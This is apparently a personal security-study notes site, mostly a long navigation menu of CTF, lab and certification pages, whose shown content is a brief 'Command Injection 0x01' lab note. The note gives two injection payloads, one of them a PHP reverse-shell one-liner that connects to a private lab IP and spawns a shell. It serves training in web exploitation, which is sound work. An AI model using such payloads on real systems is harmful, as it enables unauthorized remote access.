kyou
  • WHOAMI
    • Robemar Aviles
  • Tryhackme
    • View
      • Advent of Cyber 2024
        • Day 01
        • Day 02
      • Boiler CTF
      • Anonymous
      • Archangel
      • Lian_Yu
      • Gaming Server
      • Chocolate Factory
      • Easy Peasy
      • Brute It
      • Ignite
      • Brooklyn Nine Nine
      • TryHack3M: Bricks Heist
      • Dreaming
      • Overpass 1
      • SQLMAP
      • Chill Hack
      • Year of the rabbit
      • Become a hacker
      • Golden Eye
      • Mr. Robot
      • Linux File System Analysis
      • Skynet
      • Fowsniff
      • Introduction to OWASP Zap
      • Brute Force Heroes
      • Game Zone
      • Lazy Admin
      • Bounty Hacker
      • OOB XXE
      • HackPark
      • Alfred
      • Windows Local Persistence
      • Hacking with PowerShell
      • Phishing
      • Python for Pentesters
      • Wireshark: The Basics
      • Hydra
      • Governance & Regulation
      • Junior Security Analyst Intro
      • Wonderland
      • Burp Suite: The Basics (Old)
      • Burp Suite: Extensions
      • Burp Suite: Other Modules
      • Burp Suite: Intruder
      • Net Sec Challenge
      • Nmap Post Port Scans
      • Nmap Advanced Port Scans
      • Nmap Basic Port Scans
      • Nmap Live Host Discovery
      • Protocols and Servers 2
      • Protocols and Servers
      • Command Injection
      • Cross-Site Scripting
      • Vulnerability Capstone
      • Exploit Vulnerabilities
      • Intro to SSRF
      • File Inclusion
      • IDOR
      • Authentication Bypass
      • Subdomain Enumeration
      • Windows Privilege Escalation
      • Steel Mountain
      • Upload Vulnerabilities
      • Blue
      • Looking Glass
      • Metasploit: Exploitation
      • Metasploit: Meterpreter
      • What the shell?
      • Common Linux Privesc
      • John The Ripper
      • Hashing - Crypto 101
      • Crack the hash
      • Res
      • Wireshark: The Basics
      • Network Services 2
      • Network Services
      • Break Out The Cage
      • Anthem
      • Ice
      • Startup
      • Kenobi
      • Bolt
      • Basic Pentesting
      • Linux Privilege Escalation
      • Source
      • Agent Sudo
      • Red Team Fundamentals
      • Red Team Engagement
      • Cyborg
      • Pre Security
        • OSI Model
        • Packets & Frames
        • Extending your network
        • Putting it all together
        • How websites work
      • Introduction to Cyber Security
        • Intro to Defensive Security
        • Careers in Cyber
        • Network Security
        • Security Operations
        • Operating System Security
  • Hack the box
    • View
      • Oopsie
      • Windows Fundamentals
      • Archetype
      • Bizness
      • Three
      • Redeemer
      • Dancing
      • Fawn
      • Meow
      • Responder
      • Crocodile
      • Sequel
      • Appointment
  • Academy HTB
    • View
      • Bug Bounty Hunter
        • Before exam
        • Exploits
          • HTML Injection
          • Cross-Site Scripting (XSS)
          • Cross-Site Request Forgery (CSRF)
          • SQL Injection
          • Local File Inclusion (LFI)
          • Remote File Inclusion
          • Command Injection
          • Insecure Direct Object Reference (IDOR)
          • XML External Entity (XXE)
        • Commands
          • curl
          • mysql
        • Web Requests
          • Hypertext Transfer Protocol (HTTP)
          • Hypertext Transfer Protocol Secure (HTTPS)
          • HTTP Requests and Responses
          • HTTP Headers
          • HTTP Methods and Codes
          • GET
          • POST
          • CRUD API
        • Introduction to Web Applications
          • Introduction
          • Web Application Layout
          • Front End vs. Back End
          • HTML
          • CSS
          • JavaScript
          • Sensitive Data Exposure
          • HTML Injection
          • Cross-Site Scripting (XSS)
          • Cross-Site Request Forgery (CSRF)
          • Back End Servers
          • Web Servers
          • Databases
          • Development Framework & APIs
          • Common Web Vulnerabilities
          • Public Vulnerabilities
          • Next Steps
        • Attacking Web Application with Ffuf
          • Introduction
          • Web Fuzzing
          • Directory Fuzzing
          • Page Fuzzing
          • Recursive Fuzzing
          • DNS Records
          • Sub-domain Fuzzing
          • Vhost Fuzzing
          • Filtering Results
          • Parameter Fuzzing - GET
          • Parameter Fuzzing - POST
          • Value Fuzzing
          • Skills Assessment
        • SQL Injection Fundamentals
          • Introduction
          • Intro to Databases
          • Types of Databases
          • Intro to MySQL
          • SQL Statements
          • Query Results
          • SQL Operators
          • Intro to SQL Injections
          • Subverting Query Logic
          • Using Comments
          • Union Clause
          • Union Injection
          • Database Enumeration
          • Reading Files
          • Writing Files
          • Mitigating SQL Injection
          • Skills Assessment - SQL Injection Fundamentals
        • File Inclusion
          • Intro to File Inclusions
          • Local File Inclusion (LFI)
          • Basic Bypasses
          • PHP Filters
          • PHP Wrappers
          • Remote File Inclusion (RFI)
          • LFI and File Uploads
          • Log Poisoning
          • Automated Scanning
          • File Inclusion Prevention
          • Skills Assessment - File Inclusion
        • Web Attacks
          • Introduction to Web Attacks
          • Intro to HTTP Verb Tampering
          • Bypassing Basic Authentication
          • Bypassing Security Filters
          • Verb Tampering Prevention
          • Intro to IDOR
          • Identifying IDORs
          • Mass IDOR Enumeration
          • Bypassing Encoded References
          • IDOR in Insecure APIs
          • Chaining IDOR Vulnerabilities
          • IDOR Prevention
          • Intro to XXE
          • Local File Disclosure
          • Advanced File Disclosure
          • Blind Data Exfiltration
          • XXE Injector
          • XXE Prevention
          • Web Attacks - Skills Assessment
      • Penetration Tester
        • Getting Started
          • Infosec Overview
          • Getting Started with a Pentest Distro
          • Staying Organized
          • Connecting Using VPN
          • Common Terms
          • Basic Tools
          • Service Scanning
          • Web Enumeration
          • Public exploits
          • Types of shells
          • Privilege Escalation
          • Transferring Files
          • Starting Out
          • Navigating HTB
          • Nibbles - Enumeration
          • Nibbles - Web Footprinting
          • Nibbles -Initial Foothold
          • Nibbles - Privilege Escalation
          • Nibbles - Alternate User Method - Metasploit
          • Common Pitfalls
          • Getting Help
          • Next Steps
          • Knowledge Check
        • File Transfer
          • Introduction
          • Windows File Transfer Methods
          • Linux File Transfer Methods
          • Transferring Files with Code
          • Miscellaneous File Transfer Methods
          • Protected File Transfers
          • Living off The Land
          • Detection
          • Evading Detection
        • Using the Metasploit Framework
          • Preface
          • Introduction to Metasploit
          • Introduction to MSFconsole
          • Modules
          • Targets
          • Payload
          • Encoders
          • Databases
          • Plugins
          • Sessions
          • Meterpreter
          • Writing and Importing Modules
          • Introduction to MSFVenom
          • Firewall and IDS/IPS Evasion
          • Metasploit-Framework Updates - August 2020
        • Shells & Payloads
          • Shells Jack Us In, Payloads Deliver Us Shells
          • CAT5 Security's Engagement Preparation
          • Anatomy of a Shell
          • Bind Shells
          • Reverse Shells
          • Introduction to Payloads
          • Automating Payloads & Delivery with Metasploit
          • Crafting Payloads with MSFvenom
          • Infiltrating Windows
          • Infiltrating Unix/Linux
          • Spawning Interactive Shells
          • Introduction to Web Shells
          • Laudanum, One Webshell to Rule Them All
          • Antak Webshell
          • PHP Web Shells
          • The Live Engagement
          • Detection & Prevention
        • Penetration Testing Process
          • Introduction to the Penetration Tester Path
          • Academy Modules Layout
          • Academy Exercises & Questions
          • Penetration Testing Overview
          • Laws and Regulations
          • Penetration Testing Process
          • Pre-Engagement
          • Information Gathering
          • Vulnerability Assessment
          • Exploitation
          • Post-Exploitation
          • Lateral Movement
          • Proof-of-Concept
          • Post-Engagement
          • Practice
        • Network Enumeration with Nmap
          • Enumeration
          • Introduction to Nmap
          • Host Discovery
          • Host and Port Scanning
          • Saving the Results
          • Service Enumeration
          • Nmap Scripting Engine
          • Performance
          • Firewall and IDS/IPS Evasion
          • Firewall and IDS/IPS Evasion - Easy Lab
          • Firewall and IDS/IPS Evasion - Medium Lab
          • Firewall and IDS/IPS Evasion - Hard Lab
        • Footprinting
          • Enumeration Principles
          • Enumeration Methodology
          • Domain Information
          • Cloud Resources
          • Staff
          • FTP
          • SMB
          • NFS
          • DNS
          • SMTP
          • IMAP / POP3
          • SNMP
          • MySQL
          • MSSQL
          • Oracle TNS
          • IPMI
          • Linux Remote Management Protocols
          • Windows Remote Management Protocols
          • Easy Lab
          • Medium Lab
          • Hard Lab
        • Information Gathering - Web Edition
          • Information Gathering
          • Whois
          • DNS
          • Passive Subdomain Enumeration
          • Passive Infrastructure Identification
          • Active Infrastructure Identification
          • Active Subdomain Enumeration
          • Virtual Hosts
          • Crawling
          • Information Gathering - Web - Skills Assessment
        • Attacking Common Services
          • Interacting with Common Services
          • The Concept of Attacks
          • Service Misconfigurations
          • Finding Sensitive Information
          • Attacking FTP
          • Latest FTP Vulnerabilities
          • Attacking SMB
          • Latest SMB Vulnerabilities
          • Attacking SQL Databases
          • Latest SQL Vulnerabilities
          • Attacking RDP
          • Latest RDP Vulnerabilities
          • Attacking DNS
          • Latest DNS Vulnerabilities
          • Attacking Email Services
          • Latest Email Service Vulnerabilities
          • Attacking Common Services - Easy Lab
          • Attacking Common Services - Medium
          • Attacking Common Services - Hard
        • Login Brute Forcing
          • Introduction to Brute Forcing
          • Password Attacks
          • Default Passwords
          • Username Brute Force
          • Hydra Modules
          • Determine Login Parameters
          • Login Form Attacks
          • Personalized Wordlists
          • Service Authentication Brute Forcing
          • Skills Assessment
          • Skills Assessment 2
        • Password Attacks
          • Theory of Protection
          • Credential Storage
          • John The Ripper
          • Network Services
          • Password Mutations
          • Password Reuse / Default Passwords
          • Attacking SAM
          • Attacking LSASS
          • Attacking Active Directory & NTDS.dit
          • Credential Hunting in Windows
          • Credential Hunting in Linux
          • Passwd, Shadow & Opasswd
          • Pass the Hash (PtH)
          • Pass the Ticket (PtT) from Windows
          • Pass the Ticket (PtT) from Linux
          • Protected Files
          • Protected Archives
          • Password Policies
          • Password Managers
          • Password Attacks Lab - Easy
          • Password Attacks Lab - Medium
          • Password Attacks Lab - Hard
        • Pivoting, Tunneling, and Port Forwarding
          • Introduction to Pivoting, Tunneling, and Port Forwarding
          • The Networking Behind Pivoting
          • Dynamic Port Forwarding with SSH and SOCKS Tunneling
          • Remote/Reverse Port Forwarding with SSH
          • Meterpreter Tunneling & Port Forwarding
          • Socat Redirection with a Reverse Shell
          • Socat Redirection with a Bind Shell
          • SSH for Windows: plink.exe
          • SSH Pivoting with Sshuttle
          • Web Server Pivoting with Rpivot
          • Port Forwarding with Windows Netsh
          • DNS Tunneling with Dnscat2
          • SOCKS5 Tunneling with Chisel
          • ICMP Tunneling with SOCKS
          • RDP and SOCKS Tunneling with SocksOverRDP
          • Skills Assessment
        • Active Directory Enumeration & Attacks
          • Introduction to Active Directory Enumeration & Attacks
          • Tools of the Trade
          • Scenario
          • External Recon and Enumeration Principles
          • Initial Enumeration of the Domain
          • LLMNR/NBT-NS Poisoning - from Linux
          • LLMNR/NBT-NS Poisoning - from Windows
          • Password Spraying Overview
          • Enumerating & Retrieving Password Policies
          • Password Spraying - Making a Target User List
          • Internal Password Spraying - from Linux
          • Internal Password Spraying - from Windows
          • Enumerating Security Controls
          • Credentialed Enumeration - from Linux
          • Credentialed Enumeration - from Windows
      • SOC Analyst
        • Incident Handling Process
          • Incident Handling
          • Cyber Kill Chain
          • Incident Handling Process Overview
          • Preparation Stage (Part 1)
          • Preparation Stage (Part 2)
          • Detection & Analysis Stage (Part 1)
          • Detection & Analysis Stage (Part 2)
          • Containment, Eradication, & Recovery Stage
          • Post-Incident Activity Stage
        • Security Monitoring & SIEM Fundamentals
          • SIEM Definition & Fundamentals
          • Introduction To The Elastic Stack
          • SOC Definition & Fundamentals
          • MITRE ATT&CK & Security Operations
          • SIEM Use Case Development
          • SIEM Visualization Example 1: Failed Logon Attempts (All Users)
          • SIEM Visualization Example 2: Failed Logon Attempts (Disabled Users)
          • SIEM Visualization Example 3: Successful RDP Logon Related To Service Accounts
          • SIEM Visualization Example 4: Users Added Or Removed From A Local Group (Within A Specific Timeframe
        • Understanding Log Sources & Investigating with Splunk
          • Introduction To Splunk & SPL
      • Windows Fundamentals
        • Introduction to Windows
        • Operating System Structure
        • File System
        • NTFS vs. Share Permissions
        • Windows Services & Processes
        • Service Permissions
        • Windows Sessions
        • Interacting with the Windows Operating System
        • Windows Management Instrumentation (WMI)
        • Microsoft Management Console (MMC)
        • Windows Subsystem for Linux (WSL)
        • Desktop Experience vs. Server Core
        • Windows Security
        • Skills Assessment - Windows Fundamentals
      • Introduction to Active Directory
        • Why Active Directory?
        • Active Directory Research Over the Years
        • Active Directory Structure
        • Active Directory Terminology
        • Active Directory Objects
        • Active Directory Functionality
        • Kerberos, DNS, LDAP, MSRPC
        • NTLM Authentication
        • User and Machine Accounts
        • Active Directory Groups
        • Active Directory Rights and Privileges
        • Security in Active Directory
        • Examining Group Policy
        • AD Administration: Guided Lab Part I
        • AD Administration: Guided Lab Part II
        • Wrapping It Up
      • Introduction to Networking
        • Networking Overview
        • Network Types
        • Networking Topologies
        • Proxies
        • Networking Models
        • The OSI Model
        • The TCP/IP Model
        • Network Layer
        • IP Addresses
        • Subnetting
  • Over The Wire
    • View
      • Bandit
        • Level 0
        • Level 1
        • Level 2
        • Level 3
        • Level 4
        • Level 5
        • Level 6
        • Level 7
        • Level 8
        • Level 9
        • Level 10
        • Level 11
        • Level 12
  • Under The Wire
    • View
  • PicoCTF
    • View
      • flag_shop
      • plumbing
      • Based
      • useless
      • chrono
      • First Find
      • runme.py
      • Serpentine
      • repetitions
      • Permissions
      • ASCII Numbers
      • Big Zip
      • PW Crack 4
      • PW Crack 3
      • PW Crack 2
      • PW Crack 1
      • HashingJobApp
      • Glitch Cat
      • fixme2.py
      • fixme1.py
      • convertme.py
      • Codebook
      • First Grep
      • Bases
      • strings it
      • what's a net cat?
      • Magikarp Ground Mission
      • Tab, Tab, Attack
      • Static ain't always noise
      • Transformation
      • Nice netcat...
      • information
      • Wave a flag
      • Python Wrangling
      • Mod 26
      • Obedient Cat
  • Portswigger
    • View
  • Hacker101
    • View
      • Micro-CMS v1
      • Trivial
  • Python
    • View
      • Files
        • Number 1 to 100
      • Hackerrank
        • Power - Mod Power
        • Mod Divmod
        • String Split and Join
        • What's Your Name?
        • Find the Runner-Up Score!
        • Print Function
        • Loops
        • Division
        • Arithmetic
        • Python If-Else
        • Hello World
  • SQL
    • View
      • Hackerrank
        • Higher Than 75 Marks
        • Weather Observation Station 1
        • Weather Observation Station 3
        • Weather Observation Station 4
        • Select By ID
        • Select All
        • Revising the Select Query II
        • Revising the Select Query I
        • Japanese Cities' Attributes
        • Japanese Cities' Name
  • Notes
    • View
      • IMPORTANTTTTT
        • Metasploit
        • Nmap
        • Laudanum
        • Sudo
        • LXD/LXC
      • Windows
        • Windows Management Instrumentation (WMI)
        • Windows Remote Management (WinRM)
        • NTDS.DIT
        • Built-in AD Groups
        • Schema Active Directory
        • Trusts Active Directory
        • Foreign Security Principals (FSPs)
        • Replication
        • SYSVOL
        • Fully Qualified Domain Name (FQDN)
        • Read-Only Domain Controller (RODC)
        • FSMO Roles
        • Global Unique Identifier (GUID)
        • Registry
        • User Account Control (UAC)
        • Access Control Entries (ACE)
        • Copying SAM Registry Hives
        • Security Accounts Manager (SAM)
        • Security Identifier (SID)
        • Execution Policy
        • Windows non-interactive accounts
        • Security Descriptor Definition Language (SDDL)
        • Windows System Structure
        • DACL and SACL
      • Nmap
        • Nmap UDP Scan
        • Nmap TCP Scans
        • Nmap Scripting Engine
      • Endpoint Detection and Response
      • SIEM
      • DMARC
      • Forward Proxy and Reverse Proxy
      • Brute Force/ Dictionary Attack
      • SMTP/IMAP/POP
      • Downloading subfinder
      • DNS
      • MITRE ATT&CK
      • Staged vs. Stageless Payloads
      • Server Log Poisoning
      • PHP Session Poisoning
      • secure_file_priv
      • Metasploit Payload
      • Metasploit Types
      • Types of Box
      • Vulnerable Machine/Applications
      • Cron Jobs
      • Webroot
      • Subdomains and Virtual hosts
      • Fuzzing/Gobuster Extensions
      • URI and URL
      • eXtensible Markup Language (XML)
      • Time to Live (TTL)
      • Stateful and Stateless Firewalls
      • IDS vs IPS vs SIEM
      • Intrusion Detection System (IDS) and Intrusion Prevention System (IPS)
      • Reconnaissance and Enumeration
      • Address Resolution Protocol
      • SSL Certificate
      • Transmission Control Protocol (TCP)
      • Dictionary and Brute Force Attack
      • Encoding, Encryption, Cryptography
  • Commands
    • View
      • Windows
        • Get-ADGroupMember
        • Get-ADGroup
        • Get-ADTrust
        • Get-ADUser
        • Get-ADDomain
        • Discover Modules
        • Get-LAPSComputers
        • Find-AdmPwdExtendedRights
        • Get-AppLockerPolicy
        • DomainPasswordSpray
        • PowerView
        • Inveight
        • Rubeus.exe
        • mimikatz.exe
        • Invoke-TheHash
        • laZagne.exe
        • Copying NTDS.dit via evil-winrm
        • Copying Registry Hives with reg.exe
        • reg add
        • net start
        • tscon
        • query user
        • New-PSDrive
        • findstr
        • dir
        • net use
        • net
        • Get-MpComputerStatus
        • Get-WmiObject
        • Get-ExecutionPolicy
        • get-alias
        • Get-ChildItem
        • Get-ACL
        • services.msc
        • tree
        • wmic
        • sc
        • icacls
        • winPEAS
        • Invoke-WebRequest
        • Certutil
        • Get-Service
      • Linux
        • steganography
          • Binwalk
          • Exiftool
          • steghide
          • stegseek
        • password cracking
          • John
          • Hashcat
        • remote desktop
          • rdesktop
          • xfreerdp
          • Remmina
        • common commands
          • grep
          • sed
          • env
          • watch
          • locate
          • tree
          • who
          • last/lastlog
          • stat
          • $PATH
          • 4 characters rockyou.txt
          • TR / CUT
          • Find
          • hexedit
          • Background Process
          • Sudo
          • netstat
          • xxd
        • web enumeration
          • Gobuster
          • ffuf/wfuzz
          • whatweb
        • linux blue team
          • chkrootkit
          • rkhunter
        • linux priv esc
          • laZagne
          • Getcap
          • Linpeas/LinEnum
          • SUID
          • crontab
        • credential hunting
          • Configuration Files
          • Credentials in Configuration Files
          • Databases
          • Notes
          • Scripts
          • Cronjobs
          • SSH
          • Bash History
          • Logs
          • mimipenguin.py
          • laZagne.py
          • firefox_decrypt.py
        • Zip files
          • gunzip
          • unzip
        • FTP
          • FTP - Connect
        • SSH
          • SSH - Connect
          • scp
        • DNS
          • host
          • subbrute
          • sublist3r
          • dnsdumpster
          • subfinder
          • dnsenum
          • dig
          • nslookup
          • fierce
        • SMTP
          • swaks
          • o365spray
          • smtp-user-enum
          • msfconsole
        • SMB
          • Hydra
          • metasploit
          • Sans SMB Cheatsheet
          • ntlmrelayx
          • Mount
          • SMB - Connect
          • netexec
          • Enum4Linux-ng
          • CrackMapExec
          • smbmap
          • rpcclient
          • impacket
          • Psexec
        • IMAP/POP3
          • telnet
          • Evolution
          • curl
          • openssl
          • IMAP - Commands
          • POP3 - Commands
        • SNMP
          • onesixtyone
          • snmpwalk
          • braa
        • Oracle TNS
          • odat
          • sqlplus
        • IPMI
          • msfconsole
        • Rsync
          • rsync
          • nc
          • nmap
        • R-Services
          • nmap
          • rlogin
          • rwho
          • rusers
        • MSSQL
          • MSSQL Commands
          • mssqlclient.py
          • sqsh
          • xp_cmdshell
        • RDP
          • Hydra
          • Crowbar
        • MySQL
        • NFS
        • WinRM
          • crackmapexec
          • Evil-Winrm
        • LDAP
          • ldapsearch
          • windapsearch
        • impacket
          • impacket-wmiexec
          • impacket-smbserver
          • impacket-samrdump
          • impacket-psexec
          • impacket-secretdumps
        • Port Forward
          • ssh
          • proxychains
          • chisel
          • rpivot
          • Netsh
        • bloodhound-python
        • kerbrute
        • tcpdump
        • Ping sweep
        • static binaries
        • Linikatz
        • Finding keytab
        • PS
        • realm
        • pypykatz
        • creds
        • cewl
        • username-anarchy
        • cupp
        • theHarvester
        • Responder
        • msf-virustotal
        • perl
        • php
        • ruby
        • aquatone
        • wafw00f
        • curl
        • msfconsole/meterpreter
        • sqlmap
        • arp-scan
        • nmap
        • Msfvenom
        • Res/PHP
        • enum4linux
        • md5sum
        • Python
        • Redis
        • Telnet
        • RSA
        • Medusa
        • Hydra
        • curl to python
      • LOLbas/GTFObins
      • SQL Injection
      • LFI
  • Google Chrome Password
    • Decrypt Google Chrome Password
    • LaZagne
  • Comptia Security+ 701
    • Professor Messor
      • Security Control
      • Zero Trust
      • Deception and Disruption
      • Change Management
      • Key exchange
      • Encryption Technologies
      • Obfuscation
      • Hashing and Digital Signatures
      • Blockchain Technology
      • Certificates
      • Threat Actors
      • Common Threat Vectors
      • Race Conditions
      • Hardware Vulnerabilities
      • Virtualization Vulnerabilities
      • Mobile Device Vulnerabilities
      • Spyware and Bloatware
      • Other Malware Types
      • Wireless Attacks
      • On-path Attacks
      • Replay Attacks
      • Cryptographic Attacks
      • Indicators of Compromise
      • Segmentation and Access Control
      • Mitigation Techniques
      • Hardening Techniques
      • Cloud Infrastructures
      • Network Infrastructure Concepts
      • Other Infrastructure Concepts
      • Infrastructure Considerations
      • Secure Infrastructures
      • Intrusion Prevention
      • Network Appliances
      • Port Security
      • Firewall Types
      • Secure Communication
      • Data Types and Classifications
      • States of Data
      • Protecting Data
      • Resiliency
      • Recovery Testing
      • Backups
      • Power Resiliency
      • Secure Baselines
      • Hardening Targets
      • Securing Wireless and Mobile
      • Wireless Security Settings
      • Application Security
      • Asset Management
      • Vulnerability Scanning
      • Threat Intelligence
      • Analyzing Vulnerabilities
      • Security Tools
      • Firewalls
      • Operating System Security
      • Email Security
      • Monitoring Data
      • Endpoint Security
      • Identity and Access Management
      • Access Controls
      • Multifactor Authentication
      • Password Security
      • Scripting and Automation
      • Incident Planning
      • Digital Forensics
      • Log Data
      • Security Policies
      • Security Procedures
      • Security Considerations
      • Data Roles and Responsibilities
      • Risk Management
      • Risk Analysis
      • Risk Management Strategies
      • Third-party Risk Assessment
      • Agreement Types
      • Compliance
      • Privacy
      • Audits and Assessments
      • Security Awareness
      • User Training
    • Incident Response Plan, Cyber kill chain
    • SD-WAN
    • MTTR, MTBF, RTO, RPO
    • NetFlow Logs
    • MTBF, MTTR, RPO, RTO
    • Data in-use, at-rest, in-transit
    • Disassociate vs Deauthentication
    • Data Custodians, Data Stewards, Data states, Data subject
    • Data Owners, Data Controllers, Data Processors
    • Public, Sensitive, Confidential, Restricted, Private, Critical
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    • keylogger
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    • Blockchain, Secure enclave, Hashing
    • COPE, CYOD, SSO, BYOD
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    • Journaling
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    • DMARC, SPF ,NAC, DKIM
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    • Gap Analysis
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    • Honeypot, token, file and net
    • Non-Repudiation
    • Data masking / Tokenization
    • open public ledger vs block chain
    • cryptographic key management (HSM, TPM, Secure Enclave, KMS)
    • Authentication methods
    • Wi-Fi Evolution | 802.11 Standards Explained
    • AAA and RADIUS vs TACACS+
    • asdasd
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    • Exam Compass
      • 601 - Test 1
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  • CCNA
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    • Practical Bug Bounty
      • LABS
        • Authentication 0x01
        • Authentication 0x02
        • Authentication 0x03 [Challenge]
        • Auth 0x04 IDOR 0x01
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        • Auth 0x06
        • File Inclusion 0x01
        • File Inclusion 0x02
        • File Inclusion 0x03 [Challenge]
        • Injection 0x01
        • Injection 0x02
        • Injection 0x03 [Challenge]
        • Injection 0x04
        • XSS 0x01
        • XSS 0x02
        • XSS 0x03
        • Command Injection 0x01
        • Command Injection 0x02
        • Command injection 0x03 [Challenge]
        • SSTI 0x01
        • SSTI 0x02
        • XXE 0x01
        • Insecure file upload 0x01
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        • Insecure file upload 0x03
        • CSRF 0x01
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      • Sites
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    • Practical Web Hacking
      • Authentication
        • Lab: Password reset broken logic
        • Lab: Username enumeration via different responses
        • Lab: Username enumeration via subtly different responses
        • Lab: Username enumeration via response timing
        • Lab: Brute-forcing a stay-logged-in cookie
        • Lab: 2FA simple bypass
      • Access Control
        • Lab: User ID controlled by request parameter
        • Lab: Unprotected admin functionality
        • Lab: Insecure direct object references
        • Lab: Multi-step process with no access control on one step
        • Lab: Referer-based access control
      • SSRF
        • Lab: Basic SSRF against the local server
        • Lab: Basic SSRF against another back-end system
        • Lab: Blind SSRF with out-of-band detection
        • Lab: Blind SSRF with Shellshock exploitation
      • LFI/RFI
        • lab 1
        • lab 2
        • Lab: File path traversal, simple case
        • Lab: File path traversal, traversal sequences blocked with absolute path bypass
        • Lab: File path traversal, validation of start of path
      • XXE
        • Lab: Exploiting XXE using external entities to retrieve files
        • Exploiting XXE via image file upload
        • Lab: Exploiting XInclude to retrieve files
      • JWTs
        • jwt.io
        • Lab: JWT authentication bypass via unverified signature
        • Lab: JWT authentication bypass via flawed signature verification
      • find
      • ffuf
    • Web pen
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Command Injection 0x01

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Last updated 8 months ago

; whoami ; #
; php -r '$sock=fsockopen("192.168.112.128",4444);exec("/bin/sh -i <&3 >&3 2>&3");' ; #